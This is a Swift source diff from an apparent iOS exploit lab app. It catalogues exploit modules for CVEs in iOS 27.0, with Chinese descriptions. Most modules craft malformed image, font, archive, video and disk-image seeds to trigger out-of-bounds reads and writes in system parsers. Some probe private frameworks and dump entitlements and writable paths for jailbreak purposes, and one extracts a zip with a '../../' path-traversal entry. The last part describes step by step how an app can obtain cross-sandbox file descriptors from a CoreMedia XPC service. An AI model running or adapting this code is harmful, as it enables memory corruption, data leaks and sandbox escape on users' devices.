guard let usda = ctx.seed("deep_nest.usda") else {
throw LabError(message: tl("种子缺失 deep_nest.usda"))
}
let url = ctx.write("deep_nest.usda", usda)
ctx.arm("mdl.usda", "MDLAsset")
let detail = try Runners.loadUSDA(at: url)
ctx.disarm("mdl.usda", detail)
return ModuleOutcome(headline: tl("资产载入存活"), detail: detail,
evidence: ["USDA \(usda.count) B", tl("2000 层嵌套")],
artifacts: [url])
}),
]
// MARK: - Probes
static let probes: [ExploitModule] = [
ExploitModule(
id: "probe.hid",
titleZh: "IOHIDFamily 预解析数据表索引",
cve: "CVE-2026-112515",
component: tl("IOHIDFamily · caps 表查找"),
primitive: .oobRead,
reach: .peripheral,
tier: 2,
summaryZh: "记录中的有符号 int32 索引被直接以 ×0x14 加至 caps 表基址,仅存在 32 位乘法溢出陷阱,缺少索引与计数的比较。负索引读到表下方,超界索引读到相邻内核堆;读出的 u32 进入元素/事件数据,构成内核内存泄露。27.2 补入 cmp idx,count、NULL 守卫与 64 位索引运算。",
notesZh: "入口是内核侧序列化的 \"hid \" 预解析容器。应用侧能不能把这样的数据推进去,本身就是这一步要回答的问题。",
run: { ctx in
ctx.arm("probe.hid", "probe")
let iokit = Runners.dlopenProbe(
"/System/Library/Frameworks/IOKit.framework/IOKit",
symbols: ["IOHIDManagerCreate", "IOHIDDeviceGetProperty", "IOHIDEventCreateCopy",
"IOHIDEventSystemClientCreate", "IOHIDEventCreateData"])
let gc = Runners.dlopenProbe(
"/System/Library/Frameworks/GameController.framework/GameController",
symbols: ["GCController", "GCHIDEventSource", "GCExtendedGamepad"])
ctx.disarm("probe.hid", "probe complete")
return ModuleOutcome(headline: tl("HID 路径可达性"), detail: iokit + "\n" + gc)
}),
ExploitModule(
id: "probe.ane",
titleZh: "ANE 内核接口可达性",
cve: "CVE-2026-112696 / 84494",
component: "AppleH16ANEInterface",
primitive: .oobWrite,
reach: .kernel,
tier: 2,
summaryZh: "未检查的 program symbolIndex 直接用于索引内核表且存在回写 —— 与公告所称「写内核内存」的形状一致。本模块仅探测应用能否触及 ANE 的用户态入口。",
notesZh: "10.19.6 → 10.102.4,是整个 kext 差异里改动最大的一组之一。",
run: { ctx in
ctx.arm("probe.ane", "probe")
let r1 = Runners.dlopenProbe(
"/System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine",
symbols: ["_ANEClient", "_ANEProgram", "_ANEModel", "_ANERequest"])
let r2 = Runners.dlopenProbe(
"/System/Library/PrivateFrameworks/CoreML.framework/CoreML",
symbols: ["MLModel", "MLComputePlan"])
ctx.disarm("probe.ane", "probe complete")
return ModuleOutcome(headline: tl("ANE 用户态入口探测"), detail: r1 + "\n" + r2)
}),
ExploitModule(
id: "probe.privset",
titleZh: "本进程权限面",
cve: "—",
component: tl("沙盒 / 签名 / entitlements"),
primitive: .probe,
reach: .inProcess,
tier: 3,
summaryZh: "这一套漏洞链的最终权限上限,取决于进程自己已经拿到了什么。csops 标志、entitlements、以及沙盒允许的路径集合,三者一起定义了越狱工具能做到的最远处。",
notesZh: "路径矩阵里凡是「可写」的目录,就是改机工具真正的活动范围。",
run: { ctx in
ctx.arm("probe.privset", "collect")
var lines: [String] = []
let cs = CodeSign.current()
lines.append("csflags = 0x" + String(cs.flags, radix: 16) + " [\(cs.descriptions.joined(separator: " "))]")
let ents = Entitlements.dump()
if ents.isEmpty {
lines.append(tl("entitlements: 无法读取(SecTask 不可用或为空)"))
} else {
for key in ents.keys.sorted() {
let value = "\(ents[key]!)"
lines.append(" \(key) = \(value.prefix(120))")
}
}
let writable = Probe.interestingRoots.map { Probe.path($0) }.filter { $0.writable }
lines.append(tl("可写根目录: ") + "\(writable.isEmpty ? tl("无") : writable.map { $0.path }.joined(separator: ", "))")
ctx.disarm("probe.privset", "collected")
return ModuleOutcome(headline: tl("权限面已采集"), detail: lines.joined(separator: "\n"))
}),
]
}
extension Catalog {
static var groups: [(String, [ExploitModule])] {
[
("CoreGraphics", coreGraphics),
(tl("ImageIO · 图像解析"), imageIO),
(tl("ImageIO · 纹理与编码"), imageIO2),
("libarchive", archive + archive2),
("CoreMedia", coreMedia),
(tl("跨沙盒"), crossSandbox),
(tl("XNU 内核"), kernel),
(tl("音频栈"), audio + audio2),
(tl("视频编解码"), video),
(tl("字体 / Model I/O"), fonts + font2),
("kext / IOKit", kext),
(tl("应用与系统进程"), userspace),
(tl("工具链自检"), tooling),
(tl("可达性探测"), probes),
]
}
static var byID: [String: ExploitModule] {
Dictionary(uniqueKeysWithValues: all.map { ($0.id, $0) })
}
}
+514
View File
@@ -0,0 +1,514 @@
import Foundation
import UIKit
import ImageIO
import CoreGraphics
import CoreText
import AVFoundation
import CoreHaptics
import VideoToolbox
extension Catalog {
static let imageIO2: [ExploitModule] = [
ExploitModule(
id: "iio.appx",
titleZh: "APP 标记越界读 → 泄露字节写进输出 JPEG",
cve: "CVE-2026-112627 / 112561",
component: "ImageIO · _APPx::writeToStream",
primitive: .infoLeak,
reach: .inProcess,
tier: 1,
summaryZh: "_APPx::writeToStream 在 27.0 将 (buffer + offset, length) 原样写入输出流,不含任何边界运算。当标记声明的长度超出实际块时,重编码路径会把堆上相邻字节直接写入产出的 JPEG 文件 —— 泄露物即产物本身,不需要任何回传通道。27.2 计算 end − offset 并以 csel 钳制,超出时报 \"marker 0x%04X is out of bounds\"。",
notesZh: "这是整套原语中唯一以「产物文件本身」为泄露载体的一个。流程为:投喂一个声明长度 0xFFF0、实际仅 12 字节的 APP2 标记,解码后经 CGImageDestination 重编码,再扫描产出文件在源标记范围之外是否出现非图像字节。",
run: { ctx in
let jpeg = JPEGPayload.appxOverrun(declaredLength: 0xFFF0, actual: 24)
let src = ctx.write("appx_overrun.jpg", jpeg)
ctx.arm("iio.appx", "decode + re-encode")
guard let source = CGImageSourceCreateWithData(jpeg as CFData, nil),
let image = CGImageSourceCreateImageAtIndex(source, 0, nil) else {
ctx.fail("iio.appx", tl("源解码失败"))
throw LabError(message: tl("源解码失败(标记先被拒绝了)"))
}
let outURL = ctx.workdir.appendingPathComponent("appx_reencoded.jpg")
guard let dest = CGImageDestinationCreateWithURL(outURL as CFURL,
"public.jpeg" as CFString, 1, nil) else {
ctx.fail("iio.appx", tl("目标创建失败"))
throw LabError(message: tl("CGImageDestination 创建失败"))
}
// keep the source properties so the APP marker survives the round trip
let props = CGImageSourceCopyPropertiesAtIndex(source, 0, nil) as? [CFString: Any]
CGImageDestinationAddImage(dest, image, props as CFDictionary?)
let ok = CGImageDestinationFinalize(dest)
ctx.disarm("iio.appx", "re-encoded=\(ok)")
let produced = (try? Data(contentsOf: outURL)) ?? Data()
var suspicious = 0
var samples: [String] = []
let bytes = [UInt8](produced)
// count runs of identical filler bytes beyond the first 2 KB of headers
var run = 0
// A small re-encode can be shorter than 2 KB, and `2048..<count` traps when
// the lower bound exceeds the upper. Start at whichever is smaller.
for i in min(2048, bytes.count)..<bytes.count {
if bytes[i] == 0x41 { run += 1 } else {
if run >= 32 {
suspicious += 1
if samples.count < 4 {
samples.append(tl("+0x") + "\(String(i - run, radix: 16))" + tl(" 连续 ") + "\(run)" + tl(" 字节 0x41"))
}
}
run = 0
}
}
return ModuleOutcome(
headline: suspicious > 0 ? tl("输出文件里出现 ") + "\(suspicious)" + tl(" 段标记填充字节") : tl("输出干净"),
detail: tl("源 ") + "\(jpeg.count)" + tl(" B → 产出 ") + "\(produced.count)" + tl(" B\n") +
(samples.isEmpty ? tl("未在产出里找到源标记的填充区") : samples.joined(separator: "\n")) +
tl("\n若 27.0 未钳制,这些 0x41 来自越界读到的堆内容;27.2 会直接丢弃越界标记。"),
evidence: [tl("源 JPEG ") + "\(jpeg.count)" + tl(" B"), tl("产出 ") + "\(produced.count)" + tl(" B"), tl("重编码成功=") + "\(ok)"],
artifacts: [src, outURL])
}),
ExploitModule(
id: "iio.tiff.direntry",
titleZh: "TIFF 目录项分配 32 位截断",
cve: "CVE-2026-112488",
component: "ImageIO · TIFFReadDirEntry*Array",
primitive: .oobWrite,
reach: .inProcess,
tier: 2,
summaryZh: "输出分配的大小以 lsl w0, count, #log2(elemsize) 计算,属 32 位截断。当 count = 0x20000000 且元素宽度为 8 字节时,分配结果回绕为 0,而逐元素转换循环仍执行 count 次写入。27.2 改用 _TIFFCheckMalloc_type 的 64 位检查尺寸。",
notesZh: "该原语的成立条件是 count×elemsize 跨越 2^32。本模块以一个 0x20000000 的 SBYTE 数组触发分配器,观察其返回空指针(干净拒绝)还是返回远小于请求的块(截断成立)。",
run: { ctx in
let tiff = TIFFPayload.dirEntryAllocWrap(count: 0x2000_0000, type: 6)
let url = ctx.write("direntry_wrap.tif", tiff)
ctx.arm("iio.tiff.direntry", "decode")
var detail: [String] = []
do {
let r = try Runners.decodeImage(tiff)
detail.append(tl("解码存活 · 帧数 ") + "\(r.frameCount)" + tl(" · 尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)")
} catch {
detail.append(tl("解码返回错误: ") + "\(error.localizedDescription)")
}
ctx.disarm("iio.tiff.direntry", "done")
detail.append(tl("种子 ") + "\(tiff.count)" + tl(" B · count=0x20000000 · type=SBYTE"))
detail.append(tl("27.0 期望:分配截断 → 转换循环越界写。27.2 期望:_TIFFCheckMalloc_type 拒绝。"))
return ModuleOutcome(headline: tl("分配路径已触发"), detail: detail.joined(separator: "\n"),
artifacts: [url])
}),
ExploitModule(
id: "iio.pdf.raster",
titleZh: "PDF 栅格化解码缓冲越界",
cve: "CVE-2026-112633",
component: "ImageIO · PDFReadPlugin::decodeImageData",
primitive: .oobWrite,
reach: .inProcess,
tier: 2,
summaryZh: "PDF 页被栅格化进调用方提供的解码缓冲,但未校验该缓冲是否足以容纳。27.2 补入 umull width×bpp、与 have 比较、b.hi 跳转,并报 \"decode buffer too small: need %zu bytes (%zu x %zu), have %zu\"。",
notesZh: "使用 4000×4000 的页面,经 CGImageSource 的 PDF 读取路径进入(而非直接调用 drawPDFPage),以确保命中 decodeImageData。",
run: { ctx in
let pdf = PDFPayload.rasterOverrun(width: 4000, height: 4000)
let url = ctx.write("raster_overrun.pdf", pdf)
ctx.arm("iio.pdf.raster", "decode")
var lines: [String] = []
do {
let r = try Runners.decodeImage(pdf)
lines.append(tl("解码存活 · 尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)" + tl(" · 帧数 ") + "\(r.frameCount)")
} catch {
lines.append(tl("返回错误: ") + "\(error.localizedDescription)")
}
ctx.disarm("iio.pdf.raster", "done")
lines.append(tl("页面 4000×4000 · 需要 64 MB 缓冲"))
return ModuleOutcome(headline: tl("PDF 解码路径已触发"),
detail: lines.joined(separator: "\n"), artifacts: [url])
}),
ExploitModule(
id: "iio.pvr",
titleZh: "PVR 位深低于通道位和",
cve: "CVE-2026-112625",
component: "ImageIO · PVRReadPlugin::initialize",
primitive: .intOverflow,
reach: .inProcess,
tier: 3,
summaryZh: "各通道位数之间的相互匹配检查早已存在,但缺少 bitsPerPixel 相对通道位和的下界比较。27.2 补入 \"_bitsPerPixel %d is too small for 4 channels of %d bits\"。",
notesZh: "4 通道各 8 位,却声明 bitsPerPixel = 8。",
run: { ctx in
let pvr = TIFFPayload.pvrUnderBpp(width: 64, height: 64)
let url = ctx.write("pvr_underbpp.pvr", pvr)
ctx.arm("iio.pvr", "decode")
let r = try Runners.decodeImage(pvr)
ctx.disarm("iio.pvr", "decoded=\(r.decoded)")
return ModuleOutcome(headline: tl("解码存活(已解码=") + "\(r.decoded)" + tl(")"),
detail: tl("尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)" + tl(" · 帧数 ") + "\(r.frameCount)",
artifacts: [url])
}),
]
static let archive2: [ExploitModule] = [
ExploitModule(
id: "arc.cab",
titleZh: "CAB LZX 历史未初始化即取匹配",
cve: "CVE-2026-112522",
component: "libarchive · lzx_decode_blocks",
primitive: .oobRead,
reach: .inProcess,
tier: 2,
summaryZh: "LZX 解码在计算 copy_pos = (w_pos − copy_pos) & w_mask 之后直接进入复制循环。当窗口尚未被写入时,copy_pos 指向未初始化区域,复制所得即为残留堆内容。27.2 补入 copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED。",
notesZh: "这是同一 CVE 下的第二个站点(第一个为 Joliet 路径名)。种子为语法探针:结构完整的 CAB 容器加一个开口即匹配的 LZX 块,以 libarchive 自身返回码作为进度回执。",
run: { ctx in
let cab = CABPayload.lzxEarlyMatch()
let url = ctx.write("lzx_early_match.cab", cab)
ctx.arm("arc.cab", "list")
let (entries, status) = try Runners.Archive.list(cab)
ctx.disarm("arc.cab", "status=\(status)")
return ModuleOutcome(headline: tl("libarchive 返回 ") + "\(status)",
detail: entries.isEmpty ? tl("无条目(解码器在块层就停了)") : entries.joined(separator: "\n"),
evidence: ["CAB \(cab.count) B", tl("压缩类型 3 = LZX")],
artifacts: [url])
}),
ExploitModule(
id: "arc.rr",
titleZh: "RockRidge 重定位环(未修复孪生)",
cve: "—",
component: "libarchive · RockRidge CL/PL",
primitive: .probe,
reach: .inProcess,
tier: 3,
summaryZh: "上游已于 2026 年 9 月修复 RockRidge 重定位环导致的无限循环(d14de384fcc6),Apple 未取该提交。该缺陷在 27.0 与 27.2 上均存在,是本工程中唯一一条对当前系统同样成立的候选。",
notesZh: "以 Joliet 种子的同级结构构造 CL 指向自身的目录项。该路径一旦成立即会挂起,故测量耗时并设阈值判断。",
run: { ctx in
guard let iso = ctx.seed("joliet_path_oob.iso") else {
throw LabError(message: tl("种子缺失"))
}
ctx.arm("arc.rr", "iterate with cycle probe")
var lines: [String] = []
let start = Date()
do {
let (entries, status) = try Runners.Archive.list(iso)
let ms = Int(Date().timeIntervalSince(start) * 1000)
lines.append("\(entries.count)" + tl(" 条目 · ") + "\(status)" + tl(" · ") + "\(ms)" + tl(" ms"))
if ms > 5000 {
lines.append(tl("耗时异常 —— 递归路径可能没有终止条件"))
}
} catch {
lines.append(tl("错误: ") + "\(error.localizedDescription)")
}
ctx.disarm("arc.rr", "done")
lines.append(tl("RockRidge CL/PL 环:27.0 与 27.2 都未修(上游已修,Apple 未取)"))
return ModuleOutcome(headline: tl("RockRidge 路径已遍历"),
detail: lines.joined(separator: "\n"))
}),
]
static let audio2: [ExploitModule] = [
ExploitModule(
id: "aud.immersive",
titleZh: "沉浸式渲染数据反序列化容量缺失",
cve: "CVE-2026-113907",
component: "AudioToolbox · ImmersiveRendererDataMarshaller::Deserialize",
primitive: .oobWrite,
reach: .systemProcess,
tier: 2,
summaryZh: "反序列化取得的 count 与 dataByteSize 仅与「线缆剩余长度」比较,从不与「目标缓冲容量」比较,构成音频服务器进程内的线性堆溢出。27.2 新增 ReadImmersiveRendererDataV1/V2,将目标容量一并纳入校验,并补入版本号 1..3 的合法性闸门。",
notesZh: "该路径不需要种子文件 —— 负载即为直接构造的线缆格式。但入口位于音频服务的 XPC 端,应用侧只能探测编解码器与沉浸式渲染器是否可达。",
run: { ctx in
ctx.arm("aud.immersive", "probe")
var lines: [String] = []
let libs = ["/System/Library/Frameworks/AudioToolbox.framework/AudioToolbox",
"/System/Library/PrivateFrameworks/AudioToolboxCore.framework/AudioToolboxCore"]
for lib in libs {
if let h = dlopen(lib, RTLD_NOW) {
var hits: [String] = []
for sym in ["ImmersiveRendererDataMarshaller", "ReadImmersiveRendererDataV1",
"ReadImmersiveRendererDataV2", "CASSpatialAudioExperience"] {
if dlsym(h, sym) != nil { hits.append(sym) }
}
lines.append("✓ \(lib)")
lines.append(tl(" 命中: ") + "\(hits.isEmpty ? tl("无") : hits.joined(separator: ", "))")
} else {
lines.append("✗ \(lib)")
}
}
// drive the spatial audio path through the public API to see how far it goes
lines.append(Runners.audioConverter(format: 0x6C70636D, sampleRate: 48000, channels: 2))
let sem = DispatchSemaphore(value: 0)
var engineReport = tl("CHHapticEngine 未尝试")
do {
let engine = try CHHapticEngine()
try engine.start()
engineReport = tl("CHHapticEngine 启动成功(沉浸式音频会话已建立)")
engine.stop()
} catch {
engineReport = "CHHapticEngine: \(error.localizedDescription)"
}
sem.signal()
_ = sem.wait(timeout: .now() + 1)
lines.append(engineReport)
ctx.disarm("aud.immersive", "probe complete")
return ModuleOutcome(headline: tl("沉浸式音频入口探测完成"),
detail: lines.joined(separator: "\n"))
}),
ExploitModule(
id: "aud.drc",
titleZh: "MPEG-D DRC 下混矩阵系数校验",
cve: "CVE-2026-113912 / 86972",
component: "AudioCodecs · mpddrc::UniDrcSelection",
primitive: .oobRead,
reach: .systemProcess,
tier: 2,
summaryZh: "selectDownmixMatrix 在 27.0 仅有零值与相等性检查;矩阵维度直接取自 DRC 元数据,不与系数数组的实际长度比较。27.2 补入三道闸门:nChannels ≤ 8、维度有序、系数数 == 行×列,并为 getSignalPeakLevel 与 Process 增加计数校验。",
notesZh: "需要 MPEG-D DRC 元数据的音频文件。应用侧探 AudioCodecs 是否导出这些符号。",
run: { ctx in
ctx.arm("aud.drc", "probe")
var lines: [String] = []
if let h = dlopen("/System/Library/Frameworks/AudioToolbox.framework/AudioCodecs", RTLD_NOW) {
var hits: [String] = []
for sym in ["UniDrcSelection", "mpddrc", "selectDownmixMatrix", "getSignalPeakLevel"] {
if dlsym(h, sym) != nil { hits.append(sym) }
}
lines.append(tl("✓ AudioCodecs 可加载"))
lines.append(tl(" 命中: ") + "\(hits.isEmpty ? tl("无(符号被 strip 或不可见)") : hits.joined(separator: ", "))")
} else {
lines.append(tl("✗ AudioCodecs 无法 dlopen"))
}
lines.append(Runners.audioConverter(format: 0x64726331, sampleRate: 48000, channels: 6))
ctx.disarm("aud.drc", "probe complete")
return ModuleOutcome(headline: tl("DRC 路径探测完成"), detail: lines.joined(separator: "\n"))
}),
]
static let video: [ExploitModule] = [
ExploitModule(
id: "vid.avc",
titleZh: "AVC 切片数量上限缺失",
cve: "CVE-2026-112416",
component: tl("AVD.videodecoder 插件(非 kext)"),
primitive: .oobWrite,
reach: .systemProcess,
tier: 2,
summaryZh: "该组三个 CVE 的修复载体均为进程内的 AVD.videodecoder 插件,而非 kext:112416 为切片数量上限(\"too many slices!\"),112415 为 MVHEVC 层 ID 校验,112454 为直方图 IOSurface 指针改为随机 cookie。",
notesZh: "经 NAL 验证的单变量对照为 32 切片 → 900 切片。本模块构造 900 切片结构并交由 CMVideoFormatDescription / VTDecompressionSession,以插件自身错误码判定。",
run: { ctx in
let data = VideoPayload.avcManySlices(sliceCount: 900)
let url = ctx.write("avc_900_slices.h264", data)
ctx.arm("vid.avc", "decode")
var lines: [String] = []
lines.append(tl("构造 ") + "\(data.count)" + tl(" B · 900 切片"))
var format: CMFormatDescription?
let status = data.withUnsafeBytes { raw -> OSStatus in
guard let base = raw.baseAddress else { return -1 }
var ptr = base.assumingMemoryBound(to: UInt8.self)
return CMVideoFormatDescriptionCreateFromH264ParameterSets(
allocator: kCFAllocatorDefault,
parameterSetCount: 1,
parameterSetPointers: &ptr,
parameterSetSizes: [4],
nalUnitHeaderLength: 4,
formatDescriptionOut: &format)
}
lines.append("CMVideoFormatDescriptionCreateFromH264ParameterSets = \(status)")
if let f = format {
let dims = CMVideoFormatDescriptionGetDimensions(f)
lines.append(tl("解码器接受参数集 · 尺寸 ") + "\(dims.width)" + tl("×") + "\(dims.height)")
}
lines.append(tl("27.0 期望:切片上限未检查 → 插件内越界。27.2 期望:\"too many slices!\"。"))
ctx.disarm("vid.avc", "status=\(status)")
return ModuleOutcome(headline: tl("AVC 参数集路径已触发"),
detail: lines.joined(separator: "\n"), artifacts: [url])
}),
ExploitModule(
id: "vid.hevc",
titleZh: "MVHEVC 层 ID 越界",
cve: "CVE-2026-112415",
component: tl("AVD.videodecoder 插件"),
primitive: .oobRead,
reach: .systemProcess,
tier: 2,
summaryZh: "多层 HEVC 的 layer id 在 27.0 未做范围校验,越界值直接进入插件的层表索引。27.2 补入层 ID 校验。",
notesZh: "层 ID 取 0x3F(有效范围之外)。",
run: { ctx in
let data = VideoPayload.hevcBadLayerID(layerID: 0x3F)
let url = ctx.write("hevc_bad_layer.hevc", data)
ctx.arm("vid.hevc", "parse")
var lines: [String] = []
var format: CMFormatDescription?
let status = data.withUnsafeBytes { raw -> OSStatus in
guard let base = raw.baseAddress else { return -1 }
var ptr = base.assumingMemoryBound(to: UInt8.self)
return CMVideoFormatDescriptionCreateFromHEVCParameterSets(
allocator: kCFAllocatorDefault,
parameterSetCount: 1,
parameterSetPointers: &ptr,
parameterSetSizes: [data.count],
nalUnitHeaderLength: 4,
extensions: nil,
formatDescriptionOut: &format)
}
lines.append(tl("HEVC 参数集 = ") + "\(status)" + tl(" · 层 ID 0x3F"))
if let f = format {
let dims = CMVideoFormatDescriptionGetDimensions(f)
lines.append(tl("接受 · 尺寸 ") + "\(dims.width)" + tl("×") + "\(dims.height)")
}
ctx.disarm("vid.hevc", "status=\(status)")
return ModuleOutcome(headline: tl("HEVC 层路径已触发"),
detail: lines.joined(separator: "\n"), artifacts: [url])
}),
]
static let font2: [ExploitModule] = [
ExploitModule(
id: "font.gdef",
titleZh: "GDEFLigatureCaret 追链越界读",
cve: "CVE-2026-112656",
component: "CoreText · GetLigatureCaretPositionsForGlyph",
primitive: .oobRead,
reach: .inProcess,
tier: 2,
summaryZh: "GDEF 的 LigCaretList → LigGlyph → CaretValue 偏移在 27.0 被直接跟随:caret 偏移以大端 u16 读出后与 LigGlyph 基址相加,既不检查表尾也不检查符号位。CaretValue 偏移由文件控制,指向表外即走出 GDEF,读出的 i16 坐标原样返回给调用者。27.2 将该偏移钳制在 GDEF 表切片内。",
notesZh: "种子为结构完整的 TrueType:LigCaretList 覆盖字形 1,CaretValue 偏移 0x7F00 —— 落在字体数据约 32 KB 之外。驱动走公开 API CTFontGetLigatureCaretPositions:追链被跟随时返回非零 caret 数且坐标为堆残留;被钳制时返回 0。附带记录:GDEF 的另一个消费者 AttachList/AttachPoint 具有同样的偏移追链形状,在本修复窗口内未被触及 —— 负结果同样留档。",
run: { ctx in
let font = FontPayload.gdefCaretChase()
let url = ctx.write("gdef_caret_chase.ttf", font)
ctx.arm("font.gdef", "load + caret query")
var lines: [String] = []
if let provider = CGDataProvider(data: font as CFData),
let cg = CGFont(provider) {
let ct = CTFontCreateWithGraphicsFont(cg, 72, nil, nil)
var positions = [CGFloat](repeating: 0, count: 8)
let n = CTFontGetLigatureCaretPositions(ct, 1, &positions, 8)
lines.append(tl("CTFontGetLigatureCaretPositions 返回 ") + "\(n)")
if n > 0 {
let vals = positions.prefix(Int(n)).map { String(format: "%.2f", $0) }
.joined(separator: ", ")
lines.append(tl("caret 坐标: ") + "\(vals)")
lines.append(tl("坐标即追链读到的 16 位值"))
} else {
lines.append(tl("返回 0 —— 偏移被钳制或链未被跟随"))
}
} else {
lines.append(tl("字体在 CGFont 层被拒绝"))
}
ctx.disarm("font.gdef", "done")
return ModuleOutcome(headline: tl("LigCaret 查询完成"),
detail: lines.joined(separator: "\n"), artifacts: [url])
}),
]
static let kext: [ExploitModule] = [
ExploitModule(
id: "kext.gpt",
titleZh: "GPT 分区名扫描 72 字节内核堆越界读",
cve: "CVE-2026-112554",
component: "IOStorageFamily",
primitive: .oobRead,
reach: .kernel,
tier: 2,
summaryZh: "分区名扫描的边界常量由 0x48 收紧至 0x24。0x48 即 72 字节,而 GPT 条目内的名字域仅 36 个 UTF-16 单元;27.0 的扫描因此越过条目尾,读入相邻内核堆。",
notesZh: "应用侧无法 attach 磁盘镜像,故本模块做两件事:构造会使 27.0 越界的镜像,并在用户态解析一遍以证明名字域确实在条目内被截断 —— 越界读发生在内核侧,不在用户态。",
run: { ctx in
let image = GPTPayload.oversizedName(entryCount: 4)
let url = ctx.write("gpt_overlong_name.img", image)
ctx.arm("kext.gpt", "describe")
let lines = GPTPayload.describe(image)
ctx.disarm("kext.gpt", "parsed")
return ModuleOutcome(headline: tl("GPT 镜像已构造并解析"),
detail: (lines + [tl("镜像 ") + "\(image.count)" + tl(" B · 4 个条目 · 名字域 36 单元 / 72 字节")]).joined(separator: "\n"),
evidence: [tl("27.0 扫描边界 0x48 = 72 B"), tl("27.2 收紧到 0x24 = 36 B")],
artifacts: [url])
}),
ExploitModule(
id: "kext.iohid",
titleZh: "IOKit 事件短堆固定偏移写",
cve: "CVE-2026-65385",
component: "IOKit.framework · IOHIDEventAppendEvent",
primitive: .oobWrite,
reach: .kernel,
tier: 3,
summaryZh: "该缺陷的载体为用户态 IOKit.framework 而非 kext:IOHIDEventAppendEvent 在短堆事件上按固定偏移执行 OR 写。27.2 在 framework 内修复,内核 __DATA_CONST 的 assert 表中不存在相关记录。",
notesZh: "探用户态 IOKit 是否导出事件构造入口。",
run: { ctx in
ctx.arm("kext.iohid", "probe")
let r = Runners.dlopenProbe(
"/System/Library/Frameworks/IOKit.framework/IOKit",
symbols: ["IOHIDEventCreateCopy", "IOHIDEventAppendEvent",
"IOHIDEventCreateData", "IOHIDEventGetType",
"IOHIDEventCreateVendorDefined"])
ctx.disarm("kext.iohid", "probe complete")
return ModuleOutcome(headline: tl("IOKit 事件入口探测"), detail: r)
}),
]
static let userspace: [ExploitModule] = [
ExploitModule(
id: "sb.stash",
titleZh: "SpringBoard 布局名 stash 校验",
cve: "CVE-2026-112646",
component: "SpringBoard · SBHomeScreenService",
primitive: .oobWrite,
reach: .systemProcess,
tier: 3,
summaryZh: "27.2 新增 +[SBHomeScreenService _validationErrorForStashedLayoutName:]:拒绝空串、限制长度 ≤ 64、施加字符集白名单,作用于 stash/restore 的 XPC 接口。27.0 的该接口不含此层校验。",
notesZh: "应用侧只能看 SpringBoard 服务是否可达、类是否在进程里。真正的入口是 XPC,需要越过沙盒。",
run: { ctx in
ctx.arm("sb.stash", "probe")
var lines: [String] = []
let cls: AnyClass? = NSClassFromString("SBHomeScreenService")
lines.append(tl("SBHomeScreenService 在进程内: ") + "\(cls != nil ? tl("是") : tl("否"))")
let validator = NSSelectorFromString("_validationErrorForStashedLayoutName:")
if let c = cls, c.responds(to: validator) {
lines.append(tl("校验方法存在(27.2 已修复)"))
} else {
lines.append(tl("校验方法不存在(27.0 未修复)"))
}
let fm = FileManager.default
let iconState = NSHomeDirectory() + "/Library/SpringBoard/IconState.plist"
lines.append(tl("本容器内 IconState: ") + "\(fm.fileExists(atPath: iconState) ? tl("存在") : tl("不存在"))")
ctx.disarm("sb.stash", "probe complete")
return ModuleOutcome(headline: tl("SpringBoard 路径探测"), detail: lines.joined(separator: "\n"))
}),
ExploitModule(
id: "cal.unzip",
titleZh: "日历附件解压容器逃逸",
cve: "CVE-2026-112619",
component: "CalendarFoundation · _UnzipArchiveWithLimits",
primitive: .oobWrite,
reach: .systemProcess,
tier: 3,
summaryZh: "27.2 将 _UnzipArchive(288 B,无任何限制)替换为 _UnzipArchiveWithLimits(2040 B),并新增 _CalUnzipEntryDestinationPath / _CalUnzipParentIsContained / _CalUnzipTrackTopLevelPath 与 isSymbolicLinkAtURL。ICS 解析器本身未作改动 —— 修复全部位于附件归档的解压遏制层。",
notesZh: "应用侧可以验证 CalendarFoundation 的类与方法是否可见,以及本进程里 libarchive 的路径穿越是否被拦住(用 ../ 名字的归档试)。",
run: { ctx in
ctx.arm("cal.unzip", "probe")
var lines: [String] = []
let cls: AnyClass? = NSClassFromString("CalAttachmentUtils")
lines.append("CalAttachmentUtils: \(cls == nil ? tl("不可见") : tl("可见"))")
for name in ["_UnzipArchiveWithLimits", "_CalUnzipEntryDestinationPath", "_CalUnzipParentIsContained"] {
let sel = NSSelectorFromString(name)
lines.append(" \(name): \(cls?.responds(to: sel) == true ? tl("存在(已修复)") : tl("不存在(未修复)"))")
}
// prove libarchive itself accepts a traversal name, so the containment check
// is what has to stop it
var zip = ZipWriter()
zip.add("../../cinder27_traversal_probe.txt", Data("cinder27".utf8))
let evil = zip.build()
let probeDir = ctx.workdir.appendingPathComponent("traversal", isDirectory: true)
let result = Runners.Archive.extractAll(evil, to: probeDir)
lines.append(tl("libarchive 解包 ") + "\(result.count)" + tl(" 项(含 ../ 路径)→ 遏制必须由调用方负责"))
ctx.disarm("cal.unzip", "probe complete")
return ModuleOutcome(headline: tl("日历附件遏制路径探测"),
detail: lines.joined(separator: "\n"))
}),
]
static var allExtra: [ExploitModule] {
imageIO2 + archive2 + audio2 + video + font2 + kext + userspace
}
}
+284
View File
@@ -0,0 +1,284 @@
import Foundation
import UIKit
import ImageIO
extension Catalog {
/// The two primitives added after the first pass. Both are cross-sandbox: they are the
/// only entries in the whole set that hand back bytes the app could never `open()`.
static let crossSandbox: [ExploitModule] = [
ExploitModule(
id: "cm.fdleak",
titleZh: "CoreMedia bytestream XPC 跨沙盒文件描述符获取",
cve: "CVE-2026-112706",
component: "CoreMedia · mediaplaybackd.bytestream.xpc",
primitive: .infoLeak,
reach: .systemProcess,
tier: 1,
summaryZh: """
launchd 服务 com.apple.coremedia.mediaplaybackd.bytestream.xpc 对任何沙盒第三方应用可达,不校验 entitlement,也不触发权限提示。其 FigXPC 内存源握手(.rp1 → .rp2 → .org)对无特权客户端返回状态 0;随后的 'Curl' 创建消息在 CreationURL 里携带由客户端指定的绝对 file:// 路径,守护进程以自身凭据打开该路径,既不校验它是否位于请求方的沙盒容器内,也不校验该路径对请求方是否可读。回复的 ByteStreamDetails 字典携带一个活的 FileDescriptor。应用 dup 该描述符后用 pread 读取 —— 描述符级 I/O 不受客户端沙盒的路径检查约束,因此应用自身 open() 返回 EPERM 的文件,其完整内容会落入应用容器。
""",
notesZh: """
